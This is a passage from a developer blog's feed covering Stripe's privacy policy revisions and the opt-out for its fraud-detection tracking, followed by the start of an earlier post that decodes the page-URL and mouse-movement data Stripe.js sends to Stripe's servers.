&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span> &lt;span style="color:#bbb">src&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;https://js.stripe.com/v3/?advancedFraudSignals=false&amp;#34;&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Clients using the &lt;a href="https://www.npmjs.com/package/@stripe/stripe-js">&lt;code>@stripe/stripe-js&lt;/code> npm package&lt;/a> can leverage this feature as well by specifying &lt;code>{advancedFraudSignals: false}&lt;/code> while initializing the library:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> { loadStripe } from &lt;span style="color:#ed9d13">&amp;#34;@stripe/stripe-js/pure&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>loadStripe.setLoadParameters({ advancedFraudSignals: &lt;span style="color:#6ab825;font-weight:bold">false&lt;/span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> stripe = &lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> loadStripe(&lt;span style="color:#ed9d13">&amp;#34;pk_test_TYooMQauvdEDq54NiTphI7jx&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is a positive change, as it restores power to the website owners to decide how much data they want to exchange to achieve better fraud prevention.&lt;/p>
&lt;h3 id="privacy-policy-now-explicitly-prohibits-stripe-from-selling-user-data">Privacy policy now explicitly prohibits Stripe from selling user data&lt;/h3>
&lt;p>On Wednesday, Stripe drastically revised their &lt;a href="https://stripe.com/privacy">privacy policy&lt;/a>. The revisions place stricter limitations on how Stripe handles user data and shares it with external partners.&lt;/p>
&lt;p>I made a &lt;a href="https://gist.github.com/mtlynch/3d1cbeb0666d57a48e151cb6998a1870">diff view&lt;/a> of the full set of changes to the privacy policy, but I&amp;rsquo;ll highlight the notable ones here.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Ad networks and sale of user data are gone&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>In my original blog post, I called out this worrying section from Stripe&amp;rsquo;s privacy policy:&lt;/p>
&lt;font color="red">
&lt;blockquote>
&lt;p>When you visit our Sites or online services, both we and certain third parties collect information about your online activities over time and across different sites to provide you with advertising about products and services tailored to your individual interests (this type of advertising is called “interest-based advertising”).&lt;/p>&lt;/blockquote>
&lt;/font>
&lt;p>Stripe also had language giving themselves permission to share data with ad partners like AdWords and AdRoll:&lt;/p>
&lt;font color="red">
&lt;blockquote>
&lt;p>We work with Google AdWords, Doubleclick, AdRoll and other advertising networks.&lt;/p>&lt;/blockquote>
&lt;/font>
&lt;p>Stripe has cut both of those sections. Their new language is refreshingly clear and direct: Stripe does not sell customer data to advertisers:&lt;/p>
&lt;font color="green">
&lt;blockquote>
&lt;p>We do not use, share, rent or sell the Personal Data of our Users’ Customers for interest-based advertising. We do not sell or rent the Personal Data of our Users, their Customers or our Site visitors.&lt;/p>&lt;/blockquote>
&lt;/font>
&lt;ul>
&lt;li>&lt;strong>User data is still protected, even after a corporate sale&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>Amid the discussion on Hacker News, a &lt;a href="https://news.ycombinator.com/item?id=22937775">user expressed concern&lt;/a> that, despite Stripe&amp;rsquo;s current good intentions, user data could fall into the wrong hands in the event that another company purchased Stripe. Patrick Collison responded:&lt;/p>
&lt;blockquote>
&lt;p>I&amp;rsquo;ll ask our legal team if we can somehow contractually preclude ourselves from sharing this data in the case of liquidation or otherwise bind ourselves in a useful fashion&amp;hellip;&lt;/p>&lt;/blockquote>
&lt;p>Perhaps in direct response to that exchange, the new privacy policy includes this clause:&lt;/p>
&lt;font color="green">
&lt;blockquote>
&lt;p>Any other entity which buys us or part of our business will have the right to continue to use your Personal Data, but only in the manner set out in this Privacy Policy unless you agree otherwise.&lt;/p>&lt;/blockquote>
&lt;/font>
&lt;h2 id="changes-id-still-like-to-see">Changes I&amp;rsquo;d still like to see&lt;/h2>
&lt;p>I&amp;rsquo;m impressed by Stripe&amp;rsquo;s quick and thorough changes, but there remain areas I think need improvement. I&amp;rsquo;ve expressed these concerns to Stripe directly, and they&amp;rsquo;ve said they have plans to address them in the future.&lt;/p>
&lt;h3 id="disclose-url-collection-more-explicitly">Disclose URL collection more explicitly&lt;/h3>
&lt;p>On Stripe&amp;rsquo;s dedicated fraud detection page, they include a section &lt;a href="https://stripe.com/docs/disputes/prevention/advanced-fraud-detection#types-of-signals">&amp;ldquo;Types of signals,&amp;rdquo;&lt;/a> which explains what information they collect from end-users as part of fraud detection.&lt;/p>
&lt;p>In my blog post, I noted that Stripe was collecting full URLs of every page the user visited, including query strings (e.g., &lt;code>example.com?userId=michael&lt;/code>) and URL fragments (e.g., &lt;code>example.com#key=1234&lt;/code>). Stripe still doesn&amp;rsquo;t make it clear that they&amp;rsquo;re collecting this information. The closest they come is this section (emphasis mine):&lt;/p>
&lt;blockquote>
&lt;p>Advanced fraud detection signals also include activity indicators from the shopping experience that help us distinguish legitimate shoppers from fraudulent purchasers and bots&amp;hellip; These signals include mouse activity indicators and &lt;strong>how long a user spends on different pages&lt;/strong> in the shopping experience, which are both predictive of bot-like behavior across the duration of a session.&lt;/p>&lt;/blockquote>
&lt;p>Can a reasonable person deduce from this language that Stripe collects full URLs? I doubt it.&lt;/p>
&lt;p>Perhaps you have no sympathy for web applications that store sensitive data in query strings, as that&amp;rsquo;s &lt;a href="https://owasp.org/www-community/vulnerabilities/Information_exposure_through_query_strings_in_url">widely recognized as an insecure pattern&lt;/a>. The URL fragment is more serious. That otherwise &lt;em>is&lt;/em> a safe way to store sensitive information, so it&amp;rsquo;s alarming to see a third-party library sending a copy to an external server.&lt;/p>
&lt;p>&lt;a href="https://github.com/mozilla/send/blob/7a9a75794e7aa7048dcef6a161ef11fa19cfe906/docs/encryption.md">Firefox Send&lt;/a> and &lt;a href="https://mega.nz/help/s/57672896886688a70c8b45ad">Mega.nz&lt;/a> are both examples of popular web apps that use the URL fragment to store client-side encryption keys so that users can save end-to-end encrypted files to the cloud without the server ever having access to the underlying data. If Stripe&amp;rsquo;s JS library ran on a site that used a similar scheme, their library would leak sensitive encryption keys to Stripe&amp;rsquo;s servers.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/stripe-update/mega-encryption-key.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/stripe-update/mega-encryption-key_hu_1cd22e0968e42e61.png 300w, https://mtlynch.io/stripe-update/mega-encryption-key_hu_3e3ace69494d6578.png 600w, https://mtlynch.io/stripe-update/mega-encryption-key.png 794w'
 src="https://mtlynch.io/stripe-update/mega-encryption-key.png" alt="Screenshot of Mega.nz displaying encryption key in URL fragment" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Popular file-sharing application Mega.nz stores sensitive encryption keys in the URL fragment field&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="support-library-unloading">Support library unloading&lt;/h3>
&lt;p>While the &lt;code>loadStripe&lt;/code> function and &lt;a href="https://mtlynch.io/stripe-recording-its-customers/#solving-problem-one-defer-stripes-script-loading">&lt;code>/pure&lt;/code> import path&lt;/a> give integrators the power to decide when to turn Stripe on, there&amp;rsquo;s still no way to turn Stripe &lt;strong>off&lt;/strong>.&lt;/p>
&lt;p>Suppose that you want to enable Stripe&amp;rsquo;s advanced fraud detection during a checkout flow, but you want to stop sharing data with Stripe once the transaction completes. The only way to do this right now is to &lt;a href="https://mtlynch.io/stripe-recording-its-customers/#solving-problem-two-unloading-stripe-after-payment">force a page refresh&lt;/a>.&lt;/p>
&lt;p>It would be better if Stripe offered a simple function like &lt;code>unloadStripe&lt;/code> that dynamically disabled tracking when the app no longer needed it.&lt;/p>
&lt;h2 id="why-does-all-this-matter">Why does all this matter?&lt;/h2>
&lt;p>By including third-party JavaScript packages, website owners confer to the libraries a great deal of trust. With the ability to execute code in the user&amp;rsquo;s browser, JavaScript libraries have the keys to the kingdom. They can access all the information the user can see and can perform actions on the site under the user&amp;rsquo;s privileges.&lt;/p>
&lt;p>Website owners have a responsibility (in some jurisdictions, a legal one) to understand what information their site collects, either directly or through third-party libraries. It&amp;rsquo;s good that Stripe is demonstrating responsible data stewardship, but website owners must continue to assert their right to understand what data external partners collect and what limits those partners guarantee about the data.&lt;/p></content:encoded></item><item><title>Stripe is Silently Recording Your Movements On its Customers' Websites</title><link>https://mtlynch.io/stripe-recording-its-customers/</link><pubDate>Tue, 21 Apr 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/stripe-recording-its-customers/</guid><description>&lt;p>Among startups and tech companies, Stripe seems to be the near-universal favorite for payment processing. When I needed paid subscription functionality for my new web app, Stripe felt like the natural choice. After integration, however, I discovered that Stripe&amp;rsquo;s official JavaScript library records all browsing activity on my site and reports it back to Stripe. This data includes:&lt;/p>
&lt;ol>
&lt;li>Every URL the user visits on my site, including pages that never display Stripe payment forms&lt;/li>
&lt;li>Telemetry about how the user moves their mouse cursor while browsing my site&lt;/li>
&lt;li>Unique identifiers that allow Stripe to correlate visitors to my site against other sites that accept payment via Stripe&lt;/li>
&lt;/ol>
&lt;p>This post shares what I found, who else it affects, and how you can limit Stripe&amp;rsquo;s data collection in your web applications.&lt;/p></description><content:encoded>&lt;p>Among startups and tech companies, Stripe seems to be the near-universal favorite for payment processing. When I needed paid subscription functionality for my new web app, Stripe felt like the natural choice. After integration, however, I discovered that Stripe&amp;rsquo;s official JavaScript library records all browsing activity on my site and reports it back to Stripe. This data includes:&lt;/p>
&lt;ol>
&lt;li>Every URL the user visits on my site, including pages that never display Stripe payment forms&lt;/li>
&lt;li>Telemetry about how the user moves their mouse cursor while browsing my site&lt;/li>
&lt;li>Unique identifiers that allow Stripe to correlate visitors to my site against other sites that accept payment via Stripe&lt;/li>
&lt;/ol>
&lt;p>This post shares what I found, who else it affects, and how you can limit Stripe&amp;rsquo;s data collection in your web applications.&lt;/p>
&lt;h2 id="whos-affected">Who&amp;rsquo;s affected?&lt;/h2>
&lt;p>Stripe collects this data on your website if either of the following is true:&lt;/p>
&lt;ul>
&lt;li>Your base page template includes the Stripe script tag:
&lt;ul>
&lt;li>&lt;code>&amp;lt;script src=&amp;quot;https://js.stripe.com/v3&amp;quot;&amp;gt;&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Your website is a single-page app, such as one created with React, Vue, or Angular, and you use Stripe to process payments.&lt;/li>
&lt;/ul>
&lt;h2 id="the-discovery">The discovery&lt;/h2>
&lt;p>I discovered this by accident while adding paid plans to my &lt;a href="https://rebalancer.mtlynch.io">portfolio rebalancer&lt;/a>. As part of development, I was using &lt;a href="https://portswigger.net/burp">an HTTP proxy&lt;/a> that allows me to inspect HTTP traffic from my browser.&lt;/p>
&lt;p>After successfully implementing my app&amp;rsquo;s payment flow with Stripe, I noticed that every page navigation generated a new HTTP POST request to a Stripe URL:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="stripe-phone-home.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>The Stripe.js library reports back to Stripe every time I visit a new page in my app&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>This was strange because none of the pages I visited contained any calls to Stripe&amp;rsquo;s library. In fact, my app doesn&amp;rsquo;t collect payment information from users until they create an account, but Stripe was making HTTP requests when I landed on my app&amp;rsquo;s homepage as a brand new user with no cookies or stored credentials.&lt;/p>
&lt;h2 id="what-is-stripe-reporting">What is Stripe reporting?&lt;/h2>
&lt;p>All of the outgoing requests Stripe generated looked like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>POST /4 HTTP/1.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host: m.stripe.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept: */*
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Language: en-US,en;q=0.5
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding: gzip, deflate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: text/plain;charset=UTF-8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length: 692
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Origin: https://m.stripe.network
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection: close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Referer: https://m.stripe.network/inner.html
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Cookie: m=e29f7c00-b748-4e5f-8625-34d14dbc1c01; m=e29f7c00-b748-4e5f-8625-34d14dbc1c01
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>JTdCJTIydjIlMjIlM0ExJTJDJTIyaWQlMjIlM0ElMjI4MTBiOWIxY2E3ODU5YzNlYzExYTY0NTI0NzNkMTZmYyUyMiUyQyUyMnQlMjIlM0E4JTJDJTIydGFnJTIyJTNBJTIyNC41LjIxJTIyJTJDJTIyc3JjJTIyJTNBJTIyanMlMjIlMkMlMjJhJTIyJTNBbnVsbCUyQyUyMmIlMjIlM0ElN0IlMjJhJTIyJTNBJTIyJTIyJTJDJTIyYiUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGYXNzZXRyZWJhbGFuY2VyLmNvbSUyRnByaWNpbmclMjIlMkMlMjJjJTIyJTNBJTIyUG9ydGZvbGlvJTIwUmViYWxhbmNlciUyMiUyQyUyMmQlMjIlM0ElMjIxYjVhMDcxOS1jMTFjLTQwOTEtYWZiYi00NGE1MjRhMDM2ZGUlMjIlMkMlMjJlJTIyJTNBJTIyMWJhOTYwOWMtMjI0Ni00YjYwLTk1ZWUtYzg0YTRlNDhmOTkzJTIyJTJDJTIyZiUyMiUzQWZhbHNlJTJDJTIyZyUyMiUzQXRydWUlMkMlMjJoJTIyJTNBdHJ1ZSUyQyUyMmklMjIlM0ElNUIlMjJsb2NhdGlvbiUyMiU1RCUyQyUyMmolMjIlM0ElNUIlNUQlMkMlMjJuJTIyJTNBMTkzJTdEJTdE
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The string shown at the bottom, beginning with &lt;code>JTdCJTIydj...&lt;/code>, is a URL-encoded, base64-encoded JSON blob. The following bash commands decode it to a human-readable string:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;JTdCJTIydjIlMjIlM0ExJTJDJTIyaWQlMjIlM0ElMjI4MTBiOWIxY2E3ODU5YzNlYzExYTY0NTI0NzNkMTZmYyUyMiUyQyUyMnQlMjIlM0E4JTJDJTIydGFnJTIyJTNBJTIyNC41LjIxJTIyJTJDJTIyc3JjJTIyJTNBJTIyanMlMjIlMkMlMjJhJTIyJTNBbnVsbCUyQyUyMmIlMjIlM0ElN0IlMjJhJTIyJTNBJTIyJTIyJTJDJTIyYiUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGYXNzZXRyZWJhbGFuY2VyLmNvbSUyRnByaWNpbmclMjIlMkMlMjJjJTIyJTNBJTIyUG9ydGZvbGlvJTIwUmViYWxhbmNlciUyMiUyQyUyMmQlMjIlM0ElMjIxYjVhMDcxOS1jMTFjLTQwOTEtYWZiYi00NGE1MjRhMDM2ZGUlMjIlMkMlMjJlJTIyJTNBJTIyMWJhOTYwOWMtMjI0Ni00YjYwLTk1ZWUtYzg0YTRlNDhmOTkzJTIyJTJDJTIyZiUyMiUzQWZhbHNlJTJDJTIyZyUyMiUzQXRydWUlMkMlMjJoJTIyJTNBdHJ1ZSUyQyUyMmklMjIlM0ElNUIlMjJsb2NhdGlvbiUyMiU1RCUyQyUyMmolMjIlM0ElNUIlNUQlMkMlMjJuJTIyJTNBMTkzJTdEJTdE&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | base64 --decode &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | python -c &lt;span style="color:#ed9d13">&amp;#34;import sys; import json; from urllib.parse import unquote; print(json.dumps(json.loads(unquote(sys.stdin.read())), indent=2, sort_keys=True))&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;a&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;b&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;a&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;b&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;https://assetrebalancer.com/pricing&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;c&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;Portfolio Rebalancer&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;d&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;1b5a0719-c11c-4091-afbb-44a524a036de&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;e&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;1ba9609c-2246-4b60-95ee-c84a4e48f993&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;f&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">false&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;g&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">true&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;h&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">true&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;i&amp;#34;&lt;/span>: [&lt;span style="color:#ed9d13">&amp;#34;location&amp;#34;&lt;/span>],
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;j&amp;#34;&lt;/span>: [],
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;n&amp;#34;&lt;/span>: &lt;span style="color:#3677a9">193&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;id&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;810b9b1ca7859c3ec11a6452473d16fc&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;src&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;js&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;t&amp;#34;&lt;/span>: &lt;span style="color:#3677a9">8&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;tag&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;4.5.21&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;v2&amp;#34;&lt;/span>: &lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The Stripe library generates a new request like this every time a user views a new page in my app. Each request looks pretty similar except that the URL field reflects whatever URL is in the address bar at the time of the request. It appeared that Stripe was recording every single pageview in my app. What&amp;rsquo;s more, Stripe records the full URL, including query parameters and URL fragments (e.g., &lt;code>/account?id=12345#name=michael&lt;/code>), which some websites use to store sensitive information.&lt;/p>
&lt;p>You may have noticed from the video that when I initially loaded the app, the first page generated two requests, whereas every other page load created only one. Here&amp;rsquo;s what I found when I decoded that second request:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;data&amp;#34;&lt;/span>: [&lt;span style="color:#3677a9">4669&lt;/span>, &lt;span style="color:#3677a9">20&lt;/span>, &lt;span style="color:#3677a9">26&lt;/span>, &lt;span style="color:#3677a9">13&lt;/span>, &lt;span style="color:#3677a9">21&lt;/span>, &lt;span style="color:#3677a9">20&lt;/span>, &lt;span style="color:#3677a9">40&lt;/span>, &lt;span style="color:#3677a9">21&lt;/span>, &lt;span style="color:#3677a9">25&lt;/span>, &lt;span style="color:#3677a9">14&lt;/span>],
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;muid&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;1b5a0719-c11c-4091-afbb-44a524a036de&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;sid&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;1ba9609c-2246-4b60-95ee-c84a4e48f993&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;source&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;mouse-timings-10&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;url&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;https://assetrebalancer.com/&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Based on the name &lt;code>mouse-timings&lt;/code>, it seems that Stripe is recording my users&amp;rsquo; mouse movements.&lt;/p>
&lt;p>Lastly, each request contains the same cookie, uniquely identifying the user:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Cookie: m=e29f7c00-b748-4e5f-8625-34d14dbc1c01
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The cookie allows Stripe to track my users as they visit other sites across the web that integrate Stripe, even if they never see a payment form.&lt;/p>
&lt;h2 id="is-this-a-mistake">Is this a mistake?&lt;/h2>
&lt;p>At first, I thought this was surely my mistake. There must have made a careless error in my Stripe integration that made it phone home erroneously.&lt;/p>
&lt;p>To investigate, I &lt;a href="https://google.com/search?q=https%3A%2F%2Fm.stripe.com%2F4">googled the URL&lt;/a> that was receiving the HTTP POST requests from my app:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>https://m.stripe.com/4
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Instead of finding a bug in my code, I discovered dozens of posts from other developers surprised to see this behavior in their apps. The reports go &lt;a href="https://stackoverflow.com/q/45718026/90388">all the way back to 2017&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/stripe-recording-its-customers/stripe-reports.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/stripe-recording-its-customers/stripe-reports_hu_2d62f6490d316ed9.png 300w, https://mtlynch.io/stripe-recording-its-customers/stripe-reports_hu_dec437114baaca41.png 600w, https://mtlynch.io/stripe-recording-its-customers/stripe-reports_hu_2c655382e7ed036a.png 800w, https://mtlynch.io/stripe-recording-its-customers/stripe-reports_hu_82be8de26a31492d.png 1200w, https://mtlynch.io/stripe-recording-its-customers/stripe-reports.png 1733w'
 src="https://mtlynch.io/stripe-recording-its-customers/stripe-reports.png" alt="Collage of previous users reports about this behavior" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Developers have been posting on StackOverflow and GitHub about Stripe&amp;rsquo;s tracking behavior for years&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In one of the issue threads on GitHub, a Stripe employee &lt;a href="https://github.com/stripe/react-stripe-elements/issues/99#issuecomment-528987443">suggested that this behavior was unintentional&lt;/a> and Stripe would look for a fix:&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 756px">



 &lt;a href="https://mtlynch.io/stripe-recording-its-customers/asolove-comment.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 756px, 98vw"
 srcset='https://mtlynch.io/stripe-recording-its-customers/asolove-comment_hu_79af9621caeeacc7.png 300w, https://mtlynch.io/stripe-recording-its-customers/asolove-comment_hu_3dd54a3c8b912876.png 600w, https://mtlynch.io/stripe-recording-its-customers/asolove-comment.png 754w'
 src="https://mtlynch.io/stripe-recording-its-customers/asolove-comment.png" alt="Screenshot of Adam Solove&amp;#39;s comment on GitHub" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>In a &lt;a href="https://github.com/stripe/react-stripe-elements/issues/99#issuecomment-528987443">GitHub comment&lt;/a>, a Stripe employee suggests that Stripe.js should only send data when the app calls the library and only on pages where the user submits payment information.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>That was 7 months ago, and there has been no follow up from Stripe on that thread or anywhere else I could find.&lt;/p>
&lt;h2 id="confirming-the-issue">Confirming the issue&lt;/h2>
&lt;p>To be sure that nothing else in my app was triggering this behavior, I &lt;a href="https://github.com/mtlynch/stripe-snooping-example">created a minimal project&lt;/a> to reproduce the issue. It&amp;rsquo;s a barebones Vue app with only the &lt;a href="https://www.npmjs.com/package/@stripe/stripe-js">&lt;code>@stripe/stripe-js&lt;/code> npm package&lt;/a> installed.&lt;/p>
&lt;p>My experiments confirmed that the following line causes the Stripe library to load and initiate user tracking:&lt;/p>
